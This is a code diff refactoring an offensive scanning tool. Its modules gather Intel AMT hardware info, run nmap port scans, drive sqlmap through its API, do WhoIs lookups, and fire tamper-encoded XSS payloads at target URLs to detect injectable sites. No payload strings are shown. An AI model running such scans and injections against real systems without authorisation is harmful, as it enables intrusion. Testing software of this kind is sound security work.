-            'manufacturer': raw[6],
-            'name': raw[7],
-            'version': raw[8],
-            'serial': raw[9],
-            'tag': raw[10],
-            'replaceable': raw[11]
-        },
-        'bios': {
-            'vendor': raw[12],
-            'version': raw[13],
-            'date': raw[14],
-            'functions': bios_functions
-        }
-    }
-    return json.dumps(data)
-
-
-def main_intel_amt(url, agent=None, proxy=None, **kwargs):
-    """
-    main attack method to be called
-    """
-    do_ip_address = kwargs.get("do_ip", False)
-    proxy = proxy_string_to_dict(proxy) or None
-    agent = agent or DEFAULT_USER_AGENT
-    if do_ip_address:
-        logger.warning(set_color(
-            "running against IP addresses may result in the targets refusing the connection...", level=30
-        ))
-        logger.info(set_color(
-            "will run against IP address instead of hostname..."
-        ))
-        try:
-            url = replace_http(url)
-            url = socket.gethostbyname(url)
-            logger.info(set_color(
-                "discovered IP address {}...".format(url)
-            ))
-        except Exception as e:
-            logger.error(set_color(
-                "failed to gather IP address from hostname '{}', received an error '{}'. "
-                "will just run against hostname...".format(url, e), level=40
-            ))
-            url = url
-    logger.info(set_color(
-        "attempting to connect to '{}' and get hardware info...".format(url)
-    ))
-    try:
-        json_data = __get_hardware(url, agent=agent, proxy=proxy)
-        if json_data is None:
-            logger.error(set_color(
-                "unable to get any information, skipping...", level=40
-            ))
-            pass
-        else:
-            print("-" * 40)
-            for key in json_data.keys():
-                print("{}:".format(str(key).capitalize()))
-                for item in json_data[key]:
-                    print(" - {}: {}".format(item.capitalize(), json_data[key][item]))
-            print("-" * 40)
-    except requests.exceptions.ConnectionError as e:
-        if "Max retries exceeded with url" in str(e):
-            logger.error(set_color(
-                "failed connection, target machine is actively refusing the connection, skipping...", level=40
-            ))
-            pass
-        else:
-            logger.error(set_color(
-                "failed connection with '{}', skipping...", level=40
-            ))
-            pass
-    except Exception as e:
-        if "Temporary failure in name resolution" in str(e):
-            logger.error(set_color(
-                "failed to connect on '{}', skipping...".format(url), level=40
-            ))
-            pass
-        else:
-            logger.exception(set_color(
-                "ran into exception '{}', cannot continue...".format(e)
-            ))
-            request_issue_creation()
--- a/lib/attacks/nmap_scan/init.py
+++ b/lib/attacks/nmap_scan/init.py
@ -1,11 +1,12 @@
 import json
-import os
 import socket
-import subprocess

 import nmap

+import lib.core.common
+import lib.core.errors
 import lib.core.settings
+import lib.core.decorators
 from var.auto_issue.github import request_issue_creation


@ -17,23 +18,20 @@ class NmapHook(object):

    NM = nmap.PortScanner()

-    def __init__(self, ip, verbose=False, pretty=True,
-                 dirname="{}/log/scanner-log".format(os.getcwd()), filename="nmap_scan-results-{}.json",
-                 opts=None):
+    def __init__(self, ip, **kwargs):
        self.ip = ip
-        self.verbose = verbose
-        self.pretty = pretty
-        self.dir = dirname
-        self.file = filename
-        if opts is None:
-            self.opts = ""
-        else:
-            self.opts = " ".join(opts)
+        self.verbose = kwargs.get("verbose", False)
+        self.pretty = kwargs.get("pretty", True)
+        self.dir = lib.core.settings.PORT_SCAN_LOG_PATH
+        self.file = lib.core.settings.NMAP_FILENAME
+        self.opts = kwargs.get("opts", "")

-    def _get_all_info(self):
+    def get_all_info(self):
        """
        get all the information from the scan
        """
+        if isinstance(self.opts, (list, tuple)):
+            self.opts = ""
        scanned_data = self.NM.scan(self.ip, arguments=self.opts)
        if self.pretty:
            scanned_data = json.dumps(scanned_data, indent=4, sort_keys=True)
@ -43,11 +41,10 @@ class NmapHook(object):
        """
        send all the information to a JSON file for further use
        """
-        lib.core.settings.create_dir(self.dir)
-        full_nmap_path = "{}/{}".format(self.dir, self.file.format(self.ip))
-        with open(full_nmap_path, "a+") as log:
-            log.write(data)
-        return full_nmap_path
+        return lib.core.common.write_to_log_file(
+            data, lib.core.settings.NMAP_LOG_FILE_PATH,
+            lib.core.settings.NMAP_FILENAME.format(self.ip)
+        )

    def show_open_ports(self, json_data, sep="-" * 30):
        """
@ -55,12 +52,14 @@ class NmapHook(object):
        """
        # have to create a spacer or the output comes out funky..
        spacer_data = {4: " " * 8, 6: " " * 6, 8: " " * 4}
-        lib.core.settings.logger.info(lib.core.settings.set_color("finding data for IP '{}'...".format(self.ip)))
+        lib.core.settings.logger.info(lib.core.settings.set_color("finding data for IP '{}'".format(self.ip)))
        json_data = json.loads(json_data)["scan"]
+        host = json_data[self.ip]["hostnames"][0]["name"]
+        host_skip = (not len(host) == 0, " ", "", None)
        print(
            "{}\nScanned: {} ({})\tStatus: {}\nProtocol: {}\n".format(
                sep, self.ip,
-                json_data[self.ip]["hostnames"][0]["name"],
+                host if host != any(s for s in list(host_skip)) else "unknown",
                json_data[self.ip]["status"]["state"],
                "TCP"
            )
@ -87,65 +86,84 @@ def find_nmap(item_name="nmap"):
    return lib.core.settings.find_application(item_name)


-def perform_port_scan(url, scanner=NmapHook, verbose=False, opts=None, **kwargs):
+def perform_port_scan(url, scanner=NmapHook, **kwargs):
    """
    main function that will initalize the port scanning
    """
-    url = url.strip()
-    lib.core.settings.logger.info(lib.core.settings.set_color(
-        "attempting to find IP address for hostname '{}'...".format(url)
-    ))
-    found_ip_address = socket.gethostbyname(url)
-    lib.core.settings.logger.info(lib.core.settings.set_color(
-        "found IP address for given URL -> '{}'...".format(found_ip_address)
-    ))
-    if verbose:
-        lib.core.settings.logger.debug(lib.core.settings.set_color(
-            "checking for nmap on your system...", level=10
+    verbose = kwargs.get("verbose", False)
+    opts = kwargs.get("opts", None)
+    timeout_time = kwargs.get("timeout", None)
+
+    if timeout_time is None:
+        timeout_time = 120
+
+    with lib.core.decorators.TimeOut(seconds=timeout_time):
+        lib.core.settings.logger.warning(lib.core.settings.set_color(
+            "if the port scan is not completed in {}(m) it will timeout".format(
+                lib.core.settings.convert_to_minutes(timeout_time)
+            ), level=30
        ))
-    nmap_exists = "".join(find_nmap())
-    if nmap_exists:
+        url = url.strip()
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "attempting to find IP address for hostname '{}'".format(url)
+        ))
+
+        try:
+            found_ip_address = socket.gethostbyname(url)
+        except socket.gaierror:
+            lib.core.settings.logger.fatal(lib.core.settings.set_color(
+                "failed to gather IP address for URL '{}'".format(url)
+            ))
+            return
+
        if verbose:
            lib.core.settings.logger.debug(lib.core.settings.set_color(
-                "nmap has been found under '{}'...".format(nmap_exists), level=10
+                "checking for nmap on your system", level=10
            ))
-        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "starting port scan on IP address '{}'...".format(found_ip_address)
-        ))
-        try:
-            data = scanner(found_ip_address, opts=opts)
-            json_data = data._get_all_info()
-            data.show_open_ports(json_data)
-            file_path = data.send_to_file(json_data)
+        nmap_exists = "".join(find_nmap())
+        if nmap_exists:
+            if verbose:
+                lib.core.settings.logger.debug(lib.core.settings.set_color(
+                    "nmap has been found under '{}'".format(nmap_exists), level=10
+                ))
            lib.core.settings.logger.info(lib.core.settings.set_color(
-                "port scan completed, all data saved to JSON file under '{}'...".format(file_path)
+                "starting port scan on IP address '{}'".format(found_ip_address)
            ))
-        except KeyError:
-            lib.core.settings.logger.fatal(lib.core.settings.set_color(
-                "no port information found for '{}({})'...".format(
-                    url, found_ip_address
-                ), level=50
-            ))
-        except Exception as e:
-            lib.core.settings.logger.exception(lib.core.settings.set_color(
-                "ran into exception '{}', cannot continue quitting...".format(e), level=50
-            ))
-            request_issue_creation()
-            pass
-    else:
-        lib.core.settings.logger.fatal(lib.core.settings.set_color(
-            "nmap was not found on your system...", level=50
-        ))
-        question = lib.core.settings.prompt(
-            "would you like to automatically install it", opts="yN"
-        )
-        if question.lower().startswith("y"):
-            subprocess.call(["sudo",  "sh", "{}".format(lib.core.settings.NMAP_INSTALLER_TOOL)])
-            lib.core.settings.logger.info(lib.core.settings.set_color(
-                "nmap has been successfully installed, re-running..."
-            ))
-            perform_port_scan(url, verbose=verbose, opts=opts)
+            try:
+                data = scanner(found_ip_address, opts=opts)
+                json_data = data.get_all_info()
+                data.show_open_ports(json_data)
+                file_path = data.send_to_file(json_data)
+                lib.core.settings.logger.info(lib.core.settings.set_color(
+                    "port scan completed, all data saved to JSON file under '{}'".format(file_path)
+                ))
+            except KeyError:
+                lib.core.settings.logger.fatal(lib.core.settings.set_color(
+                    "no port information found for '{}({})'".format(
+                        url, found_ip_address
+                    ), level=50
+                ))
+            except KeyboardInterrupt:
+                if not lib.core.common.pause():
+                    lib.core.common.shutdown()
+            except lib.core.errors.PortScanTimeOutException:
+                lib.core.settings.logger.error(lib.core.settings.set_color(
+                    "port scan is taking to long and has hit the timeout, you "
+                    "can increase this time by passing the --time-sec flag (IE "
+                    "--time-sec 300)", level=40
+                ))
+            except Exception as e:
+                lib.core.settings.logger.exception(lib.core.settings.set_color(
+                    "ran into exception '{}', cannot continue quitting".format(e), level=50
+                ))
+                request_issue_creation()
+                pass
        else:
            lib.core.settings.logger.fatal(lib.core.settings.set_color(
-                "nmap is not installed, please install it in order to continue...", level=50
+                "nmap was not found on your system", level=50
            ))
+            lib.core.common.run_fix(
+                "would you like to automatically install it",
+                "sudo sh {}".format(lib.core.settings.NMAP_INSTALLER_TOOL),
+                "nmap is not installed, please install it in order to continue"
+            )
--- a/lib/attacks/sqlmap_scan/init.py
+++ b/lib/attacks/sqlmap_scan/init.py
@ -1,6 +1,7 @@
 import json
 import re
 import subprocess
+import shlex

 try:
    import urllib2  # python 2
@ -9,8 +10,10 @@ except ImportError:

 import requests

+import lib.core.common
 import lib.core.settings
 import lib.core.errors
+import lib.attacks

 from var.auto_issue.github import request_issue_creation

@ -52,6 +55,11 @@ class SqlmapHook(object):
        to_check = str(json.loads(req.content)["tasks"]).lower()
        found = ''.join(id_re.findall(to_check))
        if len(found) > 16:
+            # split the found ID by 16 characters each time one is found to be over 16 characters
+            # IE ['abcdee345593fffa', '2222aaa449837cc9']
+            # if any of these items are not in the already used container, then chances are that's the
+            # item we're looking for.
+            # this will also allow you to go back to the same item more then once.
            data_found = [found[i:i+split_by] for i in range(0, len(found), split_by)]
            for item in data_found:
                if item not in lib.core.settings.ALREADY_USED:
@ -70,6 +78,22 @@ class SqlmapHook(object):
        data_dict = {"url": self.to_scan}
        if opts is not None:
            for i in range(0, len(opts)):
+                # if the options are passed they will be placed as a dict
+                # IE {'level': 5, 'risk': 3}
+                # from there they will be added into the post data dict what this
+                # will accomplish is that it will take precedence over the already
+                # set data on the sqlmap API client and replace that data with the
+                # data that is provided.
+                # IE
+                # {
+                #   'level': 1,
+                #   'risk': 1,
+                # }
+                # will become
+                # {
+                #   'level': '5',
+                #   'risk': '3',
+                # }
                data_dict[opts[i][0]] = opts[i][1]
        post_data = json.dumps(data_dict)
        req = urllib2.Request(start_scan_url, data=post_data, headers=self.headers)
@ -87,10 +111,16 @@ class SqlmapHook(object):
        if current_status != "running":
            raise lib.core.errors.SqlmapFailedStart(
                "sqlmap API failed to start the run, check the client and see what "
-                "the problem is and try again..."
+                "the problem is and try again"
            )
        already_displayed = set()
        while current_status == "running":
+            # while the current status evaluates to `running`
+            # we can load the JSON data and output the log information
+            # we will skip over information that has already been provided
+            # by using the already displayed container set.
+            # this will allow us to only output information that we
+            # have not seen yet.
            current_status = json.loads(requests.get(running_status_url).content)["status"]
            log_req = requests.get(running_log_url)
            log_json = json.loads(log_req.content)
@ -121,83 +151,71 @@ def sqlmap_scan_main(url, port=None, verbose=None, opts=None, auto_start=False):
    the main function that will be called and initialize everything
    """

-    def ___dict_args():
-        """
-        create argument tuples for the sqlmap arguments passed by the user
-        """
-        return {key: value for key, value in opts}
-
    is_started = lib.core.settings.search_for_process("sqlmapapi.py")
    found_path = find_sqlmap()

    if auto_start:
-        '''lib.core.settings.logger.error(lib.core.settings.set_color(
-            "auto start is not enabled yet, please start the API manually..."
-        ))
-        lib.core.settings.prompt(
-            "press enter when ready..."
-        )'''
        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "attempting to launch sqlmap API..."
+            "attempting to launch sqlmap API"
        ))
-        subprocess.Popen(
-            ["sudo", "sh", "{}".format(lib.core.settings.LAUNCH_SQLMAP_API_TOOL), "p", "{}".format("".join(found_path))],
-            stdout=subprocess.PIPE
-        )
+        sqlmap_api_command = shlex.split("sudo sh {} p {}".format(
+            lib.core.settings.LAUNCH_SQLMAP_API_TOOL, "".join(found_path)
+        ))
+        subprocess.Popen(sqlmap_api_command, stdout=subprocess.PIPE)
        if is_started:
            lib.core.settings.logger.info(lib.core.settings.set_color(
-                "sqlmap API is up and running, continuing process..."
+                "sqlmap API is up and running, continuing process"
            ))
        else:
            lib.core.settings.logger.error(lib.core.settings.set_color(
-                "there was a problem starting sqlmap API...", level=40
+                "there was a problem starting sqlmap API", level=40
            ))
-            lib.core.settings.prompt(
-                "manually start the API and press enter when ready..."
+            lib.core.common.prompt(
+                "manually start the API and press enter when ready"
            )
    else:
        if not is_started:
-            lib.core.settings.prompt(
-                "sqlmap API is not started, start it and press enter to continue..."
+            lib.core.common.prompt(
+                "sqlmap API is not started, start it and press enter to continue"
            )
    try:
        sqlmap_scan = SqlmapHook(url, port=port)
        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "initializing new sqlmap scan with given URL '{}'...".format(url)
+            "initializing new sqlmap scan with given URL '{}'".format(url)
        ))
        sqlmap_scan.init_new_scan()
        if verbose:
            lib.core.settings.logger.debug(lib.core.settings.set_color(
-                "scan initialized...", level=10
+                "scan initialized", level=10
            ))
        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "gathering sqlmap API scan ID..."
+            "gathering sqlmap API scan ID"
        ))
        api_id = sqlmap_scan.get_scan_id()
        if verbose:
            lib.core.settings.logger.debug(lib.core.settings.set_color(
-                "current sqlmap scan ID: '{}'...".format(api_id), level=10
+                "current sqlmap scan ID: '{}'".format(api_id), level=10
            ))
        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "starting sqlmap scan on url: '{}'...".format(url)
+            "starting sqlmap scan on url: '{}'".format(url), level=25
        ))
        if opts:
            if verbose:
                lib.core.settings.logger.debug(lib.core.settings.set_color(
-                    "using arguments: '{}'...".format(___dict_args()), level=10
+                    "using arguments: '{}'".format(opts), level=10
                ))
            lib.core.settings.logger.info(lib.core.settings.set_color(
-                "adding arguments to sqlmap API..."
+                "adding arguments to sqlmap API"
            ))
        else:
            if verbose:
                lib.core.settings.logger.debug(lib.core.settings.set_color(
-                    "no arguments passed, skipping...", level=10
+                    "no arguments passed, skipping", level=10
                ))
        lib.core.settings.logger.warning(lib.core.settings.set_color(
            "please keep in mind that this is the API, output will "
            "not be saved to log file, it may take a little longer "
-            "to finish processing, launching sqlmap...", level=30
+            "to finish processing, launching sqlmap", level=30
        ))
        sqlmap_scan.start_scan(api_id, opts=opts)
        print("-" * 30)
@ -206,16 +224,19 @@ def sqlmap_scan_main(url, port=None, verbose=None, opts=None, auto_start=False):
    except requests.exceptions.HTTPError as e:
        lib.core.settings.logger.exception(lib.core.settings.set_color(
            "ran into error '{}', seems you didn't start the server, check "
-            "the server port and try again...".format(e), level=50
+            "the server port and try again".format(e), level=50
        ))
        pass
+    except KeyboardInterrupt:
+        if not lib.core.common.pause():
+            lib.core.common.shutdown()
    except Exception as e:
        if "HTTPConnectionPool(host='127.0.0.1'" in str(e):
            lib.core.settings.logger.error(lib.core.settings.set_color(
                "sqlmap API is not started, did you forget to start it? "
                "You will need to open a new terminal, cd into sqlmap, and "
                "run `python sqlmapapi.py -s` otherwise pass the correct flags "
-                "to auto start the API...", level=40
+                "to auto start the API", level=40
            ))
            pass
        else:
--- a/lib/attacks/whois_lookup/whois.py
+++ b/lib/attacks/whois_lookup/whois.py
@ -1,39 +1,9 @@
-import os
 import json
+import time
 import urllib2

-from base64 import b64decode
-
-from lib.core.settings import (
-    WHOIS_JSON_LINK,
-    write_to_log_file,
-    WHOIS_RESULTS_LOG_PATH,
-    logger, set_color,
-    replace_http
-)
-
-
-def __get_encoded_string(path="{}/etc/auths/whois_auth"):
-    with open(path.format(os.getcwd())) as log:
-        return log.read()
-
-
-def __get_n(encoded):
-    return encoded.split(":")[-1]
-
-
-def __decode(encoded, n):
-    token = encoded.split(":")[0]
-    for _ in range(0, n):
-        token = b64decode(token)
-    return token
-
-
-def __get_token():
-    encoded = __get_encoded_string()
-    n = __get_n(encoded)
-    token = __decode(encoded, int(n))
-    return token
+import lib.core.common
+import lib.core.settings


 def gather_raw_whois_info(domain):
@ -41,108 +11,99 @@ def gather_raw_whois_info(domain):
    get the raw JSON data for from the whois API
    """
    auth_headers = {
-        "Content-Type": "application/json",
-        "Authorization": "Token {}".format(__get_token()),
+        lib.core.common.HTTP_HEADER.CONTENT_TYPE: "application/json",
+        lib.core.common.HTTP_HEADER.AUTHORIZATION: "Token {}".format(lib.core.settings.get_token(lib.core.settings.WHOIS_AUTH_PATH)),
    }
    request = urllib2.Request(
-        WHOIS_JSON_LINK.format(domain), headers=auth_headers
+        lib.core.settings.WHOIS_JSON_LINK.format(domain), headers=auth_headers
    )
    data = urllib2.urlopen(request).read()
    _json_data = json.loads(data)
    return _json_data


+def _pretty_print_json(data, sort=True, indentation=4):
+    return json.dumps(data, sort_keys=sort, indent=indentation)
+
+
 def get_interesting(raw_json):
    """
    return the interesting aspects of the whois lookup from the raw JSON data
    """
    nameservers = raw_json["nameservers"]
    user_contact = raw_json["contacts"]
-    admin_info = raw_json["contacts"]["admin"]
    reg_info = raw_json["registrar"]
-    return nameservers, user_contact, admin_info, reg_info
+    return nameservers, user_contact, reg_info


-def human_readable_display(domain, interesting, raw, show_readable=False):
+def human_readable_display(domain, interesting):
    """
    create a human readable display from the given whois lookup
    """
-    if show_readable:
-        contact_dict = dict(interesting[1])
-        print(" |--[!] Domain: {} (organization '{}')".format(domain, contact_dict["owner"][0]["organization"]))
-        print(" |   |--[!] Found nameservers (total {})".format(len(interesting[0])))
-        if len(interesting[0]) > 1:
-            for i, server in enumerate(interesting[0], start=1):
-                print(" |   |   |--[{}]--- {}".format(i, server))
-        else:
-            print(" |   |   |--{}".format("".join(interesting[0])))
-        if contact_dict["owner"][0]["name"] is not None or "":
-            print(" |   |--[!] Contact name found: {}".format(contact_dict["owner"][0]["name"]))
-            if contact_dict["owner"][0]["phone"] != "" or None:
-                print(" |   |   |-- Phone number: {}".format(contact_dict["owner"][0]["phone"]))
-            else:
-                print(" |   |   |-- No phone number revealed")
-        else:
-            print(" [x] No contact owner revealed")
-        if len(contact_dict["admin"]) > 0:
-            print(" |   |--[!] Total admins found {}".format(len(contact_dict["admin"])))
-            for i, admin in enumerate(contact_dict["admin"]):
-                print(" |   |   |--[{}]--- {}".format(i, admin))
-        else:
-            print(" |   |--[x] No administrators revealed")
-        return write_to_log_file(raw, WHOIS_RESULTS_LOG_PATH, "whois-log-{}.json")
+    data_sep = "-" * 30
+    servers, contact, reg = interesting
+    total_servers, total_contact, total_reg = len(servers), len(contact), len(reg)
+    print(data_sep)
+    print("[!] Domain {}".format(domain))
+    if total_servers > 0:
+        print("[!] Found a total of {} servers".format(total_servers))
+        print(_pretty_print_json(servers))
    else:
-        return write_to_log_file(raw, WHOIS_RESULTS_LOG_PATH, "whois-log-{}.json")
+        print("[x] No server information found")
+    if total_contact > 0:
+        print("[!] Found contact information")
+        print(_pretty_print_json(contact))
+    else:
+        print("[x] No contact information found")
+    if total_reg > 0:
+        print("[!] Found register information")
+        print(_pretty_print_json(reg))
+    else:
+        print("[x] No register information found")
+    print(data_sep)


 def whois_lookup_main(domain, **kwargs):
    """
    main function
    """
-    readable = kwargs.get("readable", False)
+    # sleep a little bit so that WhoIs doesn't stop us from making requests
    verbose = kwargs.get("verbose", False)
-    domain = replace_http(domain)
-    logger.info(set_color(
-        "performing WhoIs lookup on given domain '{}'...".format(domain)
-    ))
-    raw_information = gather_raw_whois_info(domain)
-    logger.info(set_color(
-        "discovered raw information..."
-    ))
-    logger.info(set_color(
-        "gathering interesting information..."
-    ))
-    interesting_data = get_interesting(raw_information)
-    if readable:
-        if verbose:
-            for data in interesting_data:
-                if len(data) != 0 or None:
-                    logger.debug(set_color(
-                        "found '{}'...".format(data), level=10
-                    ))
+    timeout = kwargs.get("timeout", None)
+    domain = lib.core.settings.replace_http(domain)
+
+    try:
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "performing WhoIs lookup on given domain '{}'".format(domain)
+        ))
+        if timeout is not None:
+            time.sleep(timeout)
        try:
-            return human_readable_display(domain, interesting_data, raw_information, show_readable=True)
-        except (ValueError, Exception):
-            logger.fatal(set_color(
-                "unable to display any information from WhoIs lookup on domain '{}'...".format(domain), level=50
+            raw_information = gather_raw_whois_info(domain)
+        except Exception:
+            lib.core.settings.logger.error(lib.core.settings.set_color(
+                "unable to produce information from WhoIs lookup", level=40
            ))
-    else:
+            return None
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "discovered raw information", level=25
+        ))
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "gathering interesting information"
+        ))
+        interesting_data = get_interesting(raw_information)
        if verbose:
-            for data in interesting_data:
-                if isinstance(data, dict):
-                    for v in data.itervalues():
-                        if len(v) != 0 or v is not None:
-                            logger.debug(set_color(
-                                "found '{}'...".format(v), level=10
-                            ))
-                elif isinstance(data, list):
-                    if len(data) != 0:
-                        logger.debug(set_color(
-                            "found '{}'...".format(data), level=10
-                        ))
-        try:
-            return human_readable_display(domain, interesting_data, raw_information)
-        except (ValueError, Exception):
-            logger.fatal(set_color(
-                "unable to find any information on '{}' from WhoIs lookup...".format(domain), level=50
-            ))
+            try:
+                human_readable_display(domain, interesting_data)
+            except (ValueError, Exception):
+                lib.core.settings.logger.error(lib.core.settings.set_color(
+                    "unable to display any information from WhoIs lookup on domain '{}'".format(domain), level=50
+                ))
+                return None
+        lib.core.common.write_to_log_file(
+            raw_information, lib.core.settings.WHOIS_RESULTS_LOG_PATH,
+            lib.core.settings.WHOIS_LOOKUP_FILENAME.format(domain)
+        )
+    except KeyboardInterrupt:
+        if not lib.core.common.pause():
+            lib.core.common.shutdown()
--- a/lib/attacks/xss_scan/init.py
+++ b/lib/attacks/xss_scan/init.py
@ -1,25 +1,18 @@
 import os
 import re
+import tempfile
+import importlib
 try:
    import urlparse  # python 2
 except ImportError:
    import urllib.parse as urlparse  # python 3
-import tempfile
-import importlib

 import requests

+import lib.core.common
+import lib.core.settings
+import lib.core.decorators
 from lib.core.errors import InvalidTamperProvided
-from lib.core.settings import (
-    logger,
-    set_color,
-    DEFAULT_USER_AGENT,
-    proxy_string_to_dict,
-    DBMS_ERRORS,
-    create_tree,
-    prompt,
-    shutdown,
-)


 def list_tamper_scripts(path="{}/lib/tamper_scripts"):
@ -36,27 +29,49 @@ def list_tamper_scripts(path="{}/lib/tamper_scripts"):
    return retval


+def assign_protocol(url, force=False):
+    auto_assign = ("http://{}", "https://{}")
+    url_verification = re.compile(r"http(s)?", re.I)
+
+    if url_verification.search(url) is None:
+        if not force:
+            return auto_assign[0].format(url)
+        else:
+            return auto_assign[1].format(url)
+    else:
+        return url
+
+
 def __tamper_payload(payload, tamper_type, warning=True, **kwargs):
    """
    add the tamper to the payload from the given tamper type
    """
+    verbose = kwargs.get("verbose", False)
    acceptable = list_tamper_scripts()
-    if tamper_type in acceptable:
-        tamper_name = "lib.tamper_scripts.{}_encode"
-        tamper_script = importlib.import_module(tamper_name.format(tamper_type))
-        return tamper_script.tamper(payload, warning=warning)
-    else:
-        raise InvalidTamperProvided()
+    tamper_list = tamper_type.split(",")
+    for tamper in tamper_list:
+        if warning:
+            if verbose:
+                lib.core.settings.logger.debug(lib.core.settings.set_color(
+                    "tampering payload with '{}'".format(tamper), level=10
+                ))
+        if tamper in acceptable:
+            tamper_name = "lib.tamper_scripts.{}_encode"
+            tamper_script = importlib.import_module(tamper_name.format(tamper))
+            payload = tamper_script.tamper(payload, warning=warning)
+        else:
+            raise InvalidTamperProvided()
+    return payload


-def __load_payloads(filename="{}/etc/xss_payloads.txt"):
+def __load_payloads(filename="{}/etc/text_files/xss_payloads.txt"):
    """
    load the tamper payloads from the etc/xss_payloads file
    """
    with open(filename.format(os.getcwd())) as payloads: return payloads.readlines()


-def create_urls(url, payload_list, tamper=None):
+def create_urls(url, payload_list, tamper=None, verbose=False, force=False):
    """
    create the tampered URL's, write them to a temporary file and read them from there
    """
@ -67,17 +82,16 @@ def create_urls(url, payload_list, tamper=None):
            if tamper:
                try:
                    if i < 1:
-                        payload = __tamper_payload(payload, tamper_type=tamper, warning=True)
+                        payload = __tamper_payload(payload, tamper_type=tamper, warning=True, verbose=verbose)
                    else:
-                        payload = __tamper_payload(payload, tamper_type=tamper, warning=False)
+                        payload = __tamper_payload(payload, tamper_type=tamper, warning=False, verbose=verbose)
                except InvalidTamperProvided:
-                    logger.error(set_color(
-                        "you provided and invalid tamper script, acceptable tamper scripts are: {}...".format(
+                    lib.core.settings.logger.warning(lib.core.settings.set_color(
+                        "you provided and invalid tamper script, acceptable tamper scripts are: {}".format(
                            " | ".join(list_tamper_scripts()), level=40
                        )
                    ))
-                    shutdown()
-            loaded_url = "{}{}\n".format(url.strip(), payload.strip())
+            loaded_url = "{}{}\n".format(assign_protocol(url.strip(), force=force), payload.strip())
            tmp.write(loaded_url)
    return tf_name

@ -95,7 +109,7 @@ def find_xss_script(url, **kwargs):
    else:
        retval = data[payload_parser["query"]]

-    # just double checking...
+    # just double checking
    if retval == "" or None:
        retval = data[payload_parser["path"]]
    return retval
@ -107,99 +121,146 @@ def scan_xss(url, agent=None, proxy=None):
    chance that the URL is vulnerable to XSS attacks. Usually what will happen is the payload will
    be tampered or encoded if the site is not vulnerable
    """
-    user_agent = agent or DEFAULT_USER_AGENT
-    config_proxy = proxy_string_to_dict(proxy)
-    config_headers = {"connection": "close", "user-agent": user_agent}
-    xss_request = requests.get(url, proxies=config_proxy, headers=config_headers)
-    html_data = xss_request.content
-    query = find_xss_script(url)
-    for db in DBMS_ERRORS.keys():
-        for item in DBMS_ERRORS[db]:
-            if re.findall(item, html_data):
-                return "sqli", db
-    if query in html_data:
-        return True, None
-    return False, None
+
+    try:
+        _, status, html_data, _ = lib.core.common.get_page(url, agent=agent, proxy=proxy)
+        query = find_xss_script(url)
+        for db in lib.core.settings.DBMS_ERRORS.keys():
+            for item in lib.core.settings.DBMS_ERRORS[db]:
+                if re.findall(item, html_data):
+                    return "sqli", db
+        if status != 404:
+            if query in html_data:
+                return True, None
+        return False, None
+    except (requests.exceptions.ChunkedEncodingError, requests.exceptions.ConnectionError):
+        return False, None


-def main_xss(start_url, verbose=False, proxy=None, agent=None, tamper=None):
+def main_xss(start_url, proxy=None, agent=None, **kwargs):
    """
    main attack method to be called
    """
-    if tamper:
-        logger.info(set_color(
-            "tampering payloads with '{}'...".format(tamper)
-        ))
-    find_xss_script(start_url)
-    logger.info(set_color(
-        "loading payloads..."
-    ))
-    payloads = __load_payloads()
-    if verbose:
-        logger.debug(set_color(
-            "a total of {} payloads loaded...".format(len(payloads)), level=10
-        ))
-    logger.info(set_color(
-        "payloads will be written to a temporary file and read from there..."
-    ))
-    filename = create_urls(start_url, payloads, tamper=tamper)
-    logger.info(set_color(
-            "loaded URL's have been saved to '{}'...".format(filename)
-        ))
-    logger.info(set_color(
-        "testing for XSS vulnerabilities on host '{}'...".format(start_url)
-    ))
-    if proxy is not None:
-        logger.info(set_color(
-            "using proxy '{}'...".format(proxy)
-        ))
-    success = set()
-    with open(filename) as urls:
-        for i, url in enumerate(urls.readlines(), start=1):
-            url = url.strip()
-            result = scan_xss(url, proxy=proxy, agent=agent)
-            payload = find_xss_script(url)
-            if verbose:
-                logger.info(set_color(
-                    "trying payload '{}'...".format(payload)
-                ))
-            if result[0] != "sqli" and result[0] is True:
-                success.add(url)
-                if verbose:
-                    logger.debug(set_color(
-                        "payload '{}' appears to be usable...".format(payload), level=10
-                    ))
-            elif result[0] is "sqli":
-                if i <= 1:
-                    logger.error(set_color(
-                        "loaded URL '{}' threw a DBMS error and appears to be injectable, test for SQL injection, "
-                        "backend DBMS appears to be '{}'...".format(
-                            url, result[1]
-                        ), level=40
-                    ))
-                else:
-                    if verbose:
-                        logger.error(set_color(
-                            "SQL error discovered...", level=40
-                        ))
-            else:
-                if verbose:
-                    logger.debug(set_color(
-                        "host '{}' does not appear to be vulnerable to XSS attacks with payload '{}'...".format(
-                            start_url, payload
-                        ), level=10
-                    ))
-    if len(success) != 0:
-        logger.info(set_color(
-            "possible XSS scripts to be used:"
-        ))
-        create_tree(start_url, list(success))
-    else:
-        logger.error(set_color(
-            "host '{}' does not appear to be vulnerable to XSS attacks...".format(start_url)
-        ))
-    save = prompt(
-        "would you like to keep the URL's saved for further testing", opts="yN"
+    tamper = kwargs.get("tamper", None)
+    verbose = kwargs.get("verbose", False)
+    batch = kwargs.get("batch", False)
+    force = kwargs.get("force_ssl", False)
+
+    question_msg = (
+        "it appears that heuristic tests have shown this URL may not be a good "
+        "candidate to perform XSS tests on, would you like to continue anyways"
    )
-    if save.lower().startswith("n"):
-        os.remove(filename)
+    if not batch:
+        question = lib.core.common.prompt(
+            question_msg, opts="yN"
+        ) if not lib.core.settings.URL_QUERY_REGEX.match(start_url) else "y"
+    else:
+        question = lib.core.common.prompt(
+            question_msg, opts="yN", default="y"
+        )
+
+    if not question.lower().startswith("y"):
+        return
+
+    try:
+        if tamper:
+            lib.core.settings.logger.info(lib.core.settings.set_color(
+                "tampering payloads with '{}'".format(tamper)
+            ))
+        find_xss_script(start_url)
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "loading payloads"
+        ))
+        payloads = __load_payloads()
+        if verbose:
+            lib.core.settings.logger.debug(lib.core.settings.set_color(
+                "a total of {} payloads loaded".format(len(payloads)), level=10
+            ))
+        lib.core.settings.logger.info(lib.core.settings.set_color(
+            "payloads will be written to a temporary file and read from there"
+        ))
